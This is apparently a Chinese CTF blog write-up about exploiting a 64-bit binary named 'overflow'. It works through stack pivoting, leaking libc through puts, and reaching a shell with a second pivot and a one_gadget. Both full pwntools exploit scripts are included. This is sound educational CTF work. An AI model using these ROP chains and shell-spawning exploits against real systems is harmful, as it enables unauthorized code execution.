记一次栈迁移执行system函数时,栈空间不足的题

这个题在桌面上,但是忘了是哪个比赛的了,闲来无事,又重新做了一次,收获颇多
题目的程序很简单
在这里插入图片描述在这里插入图片描述在这里插入图片描述

一看就是栈迁移的题目
再看一下保护

在这里插入图片描述
经典保护。
按照普通栈迁移的思路应该就是,第一次read读入rop链子,第二次读入使程序迁移到rop链子上去
也就是

from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
p=process("./overflow")
elf=ELF("./overflow")
libc=ELF("./libc-2.31.so")

pop=0x00000000004007a3
leave=0x0000000000400718
ret=leave+1
pop_rbp=0x00000000004005d0
vuln=0x4006C7
bss=0x6010A0+0x200
def d():
	gdb.attach(p)
	pause()

p.recvuntil("input your name:\n")
payload = b'a'*(0x200)+p64(pop)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)    #p64(pop_rbp)    #p64(0x601f00)+p64(0x4006fc)
p.send(payload)

p.recvuntil("input your data:\n")
pay=b'a'*0x70+p64(bss-8)+p64(leave)
p.send(pay)

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
one_gad=libc_base+0xe3b01
#pop_rdx=libc_base+0x0000000000142c92
#libc_base = read_addr - libc.symbols['read']
system = libc_base+libc.symbols['system']
bin_sh = libc_base+libc.search(b"/bin/sh").__next__()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''
p.recvuntil("input your name:\n")
p.send(str("1"))

p.recvuntil("input your data:\n")
pay=b'a'*0x78+p64(pop)+p64(bin_sh)+p64(ret)+p64(system) 
#d()
p.send(pay)
p.interactive()

但是实际执行的时候会出现这种情况
在这里插入图片描述
那么既然只能执行一次,那就用onegadget,试过之后,会发现
在这里插入图片描述
执行到了不能访问的空间,所以这个应该就是行不通的了

那就换一种思路,执行两次栈迁移

from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
p=process("./overflow")
elf=ELF("./overflow")
libc=ELF("./libc-2.31.so")

pop=0x00000000004007a3
leave=0x0000000000400718
ret=leave+1
pop_rbp=0x00000000004005d0
vuln=0x4006C7
bss=0x6010A0+0x200
#p=remote("node4.buuoj.cn",27194)
def d():
	gdb.attach(p)
	pause()

p.recvuntil("input your name:\n")
payload = b'a'*(0x200)+p64(pop)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(0x601f00)+p64(0x4006fc)#这里修改rbp只是为了下面读入的时候,读入到我们想让它去的地方
p.send(payload)

p.recvuntil("input your data:\n")
pay=b'a'*0x70+p64(bss-8)+p64(leave)
p.send(pay)

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
one_gad=libc_base+0xe3b01
pop_rdx=libc_base+0x0000000000142c92
#libc_base = read_addr - libc.symbols['read']
system = libc_base+libc.symbols['system']
bin_sh = libc_base+libc.search(b"/bin/sh").__next__()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''
'''
#pause()
p.recvuntil("input your name:\n")
payload = b'a'*(0x90)+p64(0x4006f2)*2+p64(one_gad)*4
p.send(str("1"))

p.recvuntil("input your data:\n")
pay=b'a'*0x78+p64(one_gad)*4
d()

p.send(pay)
'''

pay3 = (p64(0)+p64(pop_rdx)+p64(0)+p64(one_gad)*4).ljust(0x70,b'\x00')+p64(0x601e90)+p64(leave)   #常规栈溢出,修改返回地址,再次实现栈迁移
#pay3+=pay3.ljust(0x70,b'\x00')+p64(0x601e90)+p64(leave)
#pay3=b'a'*0x70+b'b'*0x10
#d()
p.send(pay3)
p.interactive()

这个就是通过pop rbx把rbx修改成0x601f00,再去进入到
在这里插入图片描述
将读入的内容写到0x601f00-0x70的地方去,再利用下面的leave ret栈迁移到前面的地方去,我们在前面的地方写入我们的rop链
这样栈的空间就足够了
可以最后一个链子可以选择常用的system(“/bin/sh”),
这里我用的是onegadget,但是满足条件的没找到,那就构造满足条件的
第二个r15可以看到是0,但是rdx不为0,那就用libc找到pop rdx ret
在这里插入图片描述
这样就能满足onegadget的条件getshell了

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值